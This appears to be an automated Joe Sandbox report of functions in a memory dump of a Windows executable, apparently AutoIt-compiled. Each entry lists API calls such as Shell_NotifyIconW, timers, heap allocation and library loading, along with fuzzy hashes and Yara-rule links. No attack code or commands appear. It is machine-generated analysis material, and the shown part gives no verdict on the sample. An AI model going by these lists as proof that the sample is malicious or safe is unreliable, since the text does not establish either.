Line: , xrefs: 009833EB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 2d6652f07bf692f688a278de6da32c7f7cb991cf15c404d0df7ffeccff00553e
Instruction ID: fb9b8fbc227c9b5e2a14735ec0fd5113bfbb677b283b62797702995bb8e62afc
Opcode Fuzzy Hash: 2d6652f07bf692f688a278de6da32c7f7cb991cf15c404d0df7ffeccff00553e
Instruction Fuzzy Hash: 5B31C171448300AAD725EB70DC45FEBB7ECAF81710F10892AF5A986291EB749A49C7C3

Function 0095FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00960668

Part of subcall function 009632A4: RaiseException.KERNEL32(?,?,?,0096068A,?,00A11444,?,?,?,?,?,?,0096068A,00941129,00A08738,00941129), ref: 00963304

__CxxThrowException@8.LIBVCRUNTIME ref: 00960685

Strings

Unknown exception, xrefs: 00960692

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 9b879c858ceac2914b666d4c65f3062a51f3117c74b8ab1f2c97279d7da672e7
Instruction ID: 64017aa44e974b4c7cbadbd8b5878a4784b9bbd8692d3f88795941ce54a278d9
Opcode Fuzzy Hash: 9b879c858ceac2914b666d4c65f3062a51f3117c74b8ab1f2c97279d7da672e7
Instruction Fuzzy Hash: 44F0C23490030D77CB00FAA5ECA6E9E777C6EC0350B608932B924965D1EF71DA69C681

Function 009410F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00941BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00941BF4
Part of subcall function 00941BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00941BFC
Part of subcall function 00941BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00941C07
Part of subcall function 00941BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00941C12
Part of subcall function 00941BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00941C1A
Part of subcall function 00941BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00941C22

Part of subcall function 00941B4A: RegisterWindowMessageW.USER32(00000004,?,009412C4), ref: 00941BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0094136A
OleInitialize.OLE32 ref: 00941388
CloseHandle.KERNEL32(00000000,00000000), ref: 009824AB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 3ff18449fbefd7cd1f1e0e6ead79267bcbe0ab95873d44f8f7ad132cb0093299
Instruction ID: 5263f6cc11fb9be4e2c6000a26f41bb95555490f1d563f8310891dcdc914af0c
Opcode Fuzzy Hash: 3ff18449fbefd7cd1f1e0e6ead79267bcbe0ab95873d44f8f7ad132cb0093299
Instruction Fuzzy Hash: 8671ABB89123018FC784DFF9A955AD53AE6FB887A4754C22AD64AC7361EB304483CF48

Function 009AC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00943923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00943A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 009AC259
KillTimer.USER32(?,00000001,?,?), ref: 009AC261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009AC270

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 96213d3a8910d343b04712663235802410f1a3511314fc4bfd4c175eac2d3acf
Instruction ID: 3fe5fe60f3abb197e938239460e8b08fb01e6ab70d7b3784b994e905fb79752c
Opcode Fuzzy Hash: 96213d3a8910d343b04712663235802410f1a3511314fc4bfd4c175eac2d3acf
Instruction Fuzzy Hash: 9F3195B0904344AFEB62DF648855BE7BBEC9B07304F00449AD6EA9B241C7746A85CB91

Function 009786AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,009785CC,?,00A08CC8,0000000C), ref: 00978704
GetLastError.KERNEL32(?,009785CC,?,00A08CC8,0000000C), ref: 0097870E
__dosmaperr.LIBCMT ref: 00978739

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: a6451f05eb1c7da85bf3c446a8881ce906b7f0257d0424f79398efccf81afffe
Instruction ID: 2ba3df635caf9ef2da63f7689796ee641c07176f0b0e2c6489fa7bd731757e9c
Opcode Fuzzy Hash: a6451f05eb1c7da85bf3c446a8881ce906b7f0257d0424f79398efccf81afffe
Instruction Fuzzy Hash: 7C012B33A8562076D6646274684EB7F674E4BC1774F3AC119F81C8B1E2DEE59C818150

Function 0094DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0094DB7B
DispatchMessageW.USER32(?), ref: 0094DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0094DB9F
Sleep.KERNELBASE(0000000A), ref: 0094DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00991CC9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 40bb3ff4d46bcf8b880aafaa81b1f7d83e4aab23d517ce456e474334d4e9eaef
Instruction ID: 0097501d097ed3c8f9f9b38d6c82e49555d74189b03e766ef989539379fbf87e
Opcode Fuzzy Hash: 40bb3ff4d46bcf8b880aafaa81b1f7d83e4aab23d517ce456e474334d4e9eaef
Instruction Fuzzy Hash: 61F05E706593419BEB30CBA08C89FEA73ACEB84310F104A19F65A830C0EB30A488DB15

Function 00951310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 009517F6

Strings

CALL, xrefs: 009517C6

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 490eba5aa932138a0b559802a6ca1e2a6bd48ce059aeefa9a2a61724a70af4f4
Instruction ID: 7cde57d3fc28797fb3dd061c1ee35daf9a09433d1f56c9cbee191455530caf54
Opcode Fuzzy Hash: 490eba5aa932138a0b559802a6ca1e2a6bd48ce059aeefa9a2a61724a70af4f4
Instruction Fuzzy Hash: 8222AC706083019FCB14DF29C491B2ABBF5BF89315F14891DF8968B3A2D775E949CB82

Function 00942DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00982C8C

Part of subcall function 00943AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00943A97,?,?,00942E7F,?,?,?,00000000), ref: 00943AC2

Part of subcall function 00942DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00942DC4

Strings

X, xrefs: 00982C5A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: b8d1cb25360906f76afe3589e57ae28f8cc5f462f87520cf8df88f15de995198
Instruction ID: 4b3ed3f2c5e46c0f336f80f5a553f0f4223af8794d2608a2d5634a71af26cfb7
Opcode Fuzzy Hash: b8d1cb25360906f76afe3589e57ae28f8cc5f462f87520cf8df88f15de995198
Instruction Fuzzy Hash: 99219371A102589BCF01EF94D845BEE7BFCAF89314F008059F505A7281DBB85A89CF61

Function 00943837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00943908

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 71dc8a44c086bd297d49363f05c6dc3227b66595846446d03ec74a099367a7c5
Instruction ID: df20ab378f3cf2013979bfd379063372c2b0ad4f40dff78593d3190bda02663b
Opcode Fuzzy Hash: 71dc8a44c086bd297d49363f05c6dc3227b66595846446d03ec74a099367a7c5
Instruction Fuzzy Hash: 64318FB05057019FD760DF74D885B97BBE8FB49708F00492EF6A987350E771AA44CB52

Function 0095F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0095F661

Part of subcall function 0094D730: GetInputState.USER32 ref: 0094D807

Sleep.KERNEL32(00000000), ref: 0099F2DE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: dcf8b9c6bc5daa0cb5b59afc18629aba4f22e1e176c8b59158ad941fea2165bd
Instruction ID: f6534e24f5b2bbaa50dfde4822ec968d33a9169ae6f007dc0f6f759f34489358
Opcode Fuzzy Hash: dcf8b9c6bc5daa0cb5b59afc18629aba4f22e1e176c8b59158ad941fea2165bd
Instruction Fuzzy Hash: A7F08C75284206AFD310EF69D559F6AF7E8EF85761F00002AF85DC72A0DB70A840CB90

Function 0094B710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0094BB4E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 8423ea23d6ba1432e9dd62a79697c170fc2b17318a1ca0ce3a37171a71de00d5
Instruction ID: 06b351e657303a74a5992cac75d184ba6841900e76f1d6634f82ba1588abea99
Opcode Fuzzy Hash: 8423ea23d6ba1432e9dd62a79697c170fc2b17318a1ca0ce3a37171a71de00d5
Instruction Fuzzy Hash: 6C32AA35A002099FDF24CF68C895FBEB7B9EF84314F148459E925AB261C778ED81CB91

Function 00944ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00944E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00944EDD,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944E9C
Part of subcall function 00944E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00944EAE
Part of subcall function 00944E90: FreeLibrary.KERNEL32(00000000,?,?,00944EDD,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944EFD

Part of subcall function 00944E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00983CDE,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944E62
Part of subcall function 00944E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00944E74
Part of subcall function 00944E59: FreeLibrary.KERNEL32(00000000,?,?,00983CDE,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944E87

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: f2a2ea2c1a092bca88e2e159aff77fd2de9a7fc2d635586417585072c80cbb5d
Instruction ID: d127f938a90cbd9ff2075d949850fa7aeab01bb2b169bfa53ba5ceecc1a041c7
Opcode Fuzzy Hash: f2a2ea2c1a092bca88e2e159aff77fd2de9a7fc2d635586417585072c80cbb5d
Instruction Fuzzy Hash: 6111E732610205ABCF14BB60DC02FAD77A59F80B10F10842EF542A61C1EE74DA499B50

Function 00978402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00978440

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: aecaff41d3e691e736a019012bd8dd3dd62bba5d08f775bed1e8f1549904ec47
Instruction ID: be941c3addc66b5f082b719ca65de83e683a571377804328d5d69492518b6346
Opcode Fuzzy Hash: aecaff41d3e691e736a019012bd8dd3dd62bba5d08f775bed1e8f1549904ec47
Instruction Fuzzy Hash: 92111876A0810AAFCB05DF58E945A9B7BF9EF48314F108059F808AB312DA71DA11CBA5

Function 00975000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00974C7D: RtlAllocateHeap.NTDLL(00000008,00941129,00000000,?,00972E29,00000001,00000364,?,?,?,0096F2DE,00973863,00A11444,?,0095FDF5,?), ref: 00974CBE

_free.LIBCMT ref: 0097506C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 77f66cf8496d90d1b42f5056d874cf2514b66068543136fcd7286f6a2bafbcb3
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: CE012B732047046BE3218F659841A5AFBECFBC5370F25451DE19C93280E6706805C674

Function 0096E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 5d51a3f1840de3ffd4f3c3cc3cd3b28440a57392d9fe1954dcb90929ddc3c1fc
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 22F02837A11A14AAC7313A79DD09B9B339C9FD2330F104B15F428931D2CB74E80286A6

Function 00974C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00941129,00000000,?,00972E29,00000001,00000364,?,?,?,0096F2DE,00973863,00A11444,?,0095FDF5,?), ref: 00974CBE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ae8f95c77ec49f1d6d2430037487f3469c679c27eb38e253aa69cfb49587a7d6
Instruction ID: f9ff4d125e4600731e484d330cf2e4f595bdf2568de45c0e653b45d41b2bb484
Opcode Fuzzy Hash: ae8f95c77ec49f1d6d2430037487f3469c679c27eb38e253aa69cfb49587a7d6
Instruction Fuzzy Hash: 54F0E933647225A7DB235F629C05BDA378CBF817A0B1DC512FD9DAA186CB30DC0186E0

Function 00973820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00A11444,?,0095FDF5,?,?,0094A976,00000010,00A11440,009413FC,?,009413C6,?,00941129), ref: 00973852

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4f5dfd3b548a34c9c9aa9401ad6bc85cc2adf4cc7613bc05bf15bbe881c1e842
Instruction ID: d3ee36bf88db97a3992d7dce0568b4c171280a4f4652219b7ca288709c9f0c99
Opcode Fuzzy Hash: 4f5dfd3b548a34c9c9aa9401ad6bc85cc2adf4cc7613bc05bf15bbe881c1e842
Instruction Fuzzy Hash: 94E0ED37101225A6E7212AA69C00FDA3B5CAB827B0F05C122BC1D96981CB31DE01A2E2

Function 00944F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944F6D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad8008fa59c2a08ccd05ced87f83df145cd262c85dfae9418ab1faf3e3a995f0
Instruction ID: 229854d90340d24e1f82860d38e1512f03403929f2472f2131c8cfb79a6ea9ab
Opcode Fuzzy Hash: ad8008fa59c2a08ccd05ced87f83df145cd262c85dfae9418ab1faf3e3a995f0
Instruction Fuzzy Hash: D5F03071105752CFDB389F64D490E12B7E4AF143193108DBEE1EA82521C7319848DF50

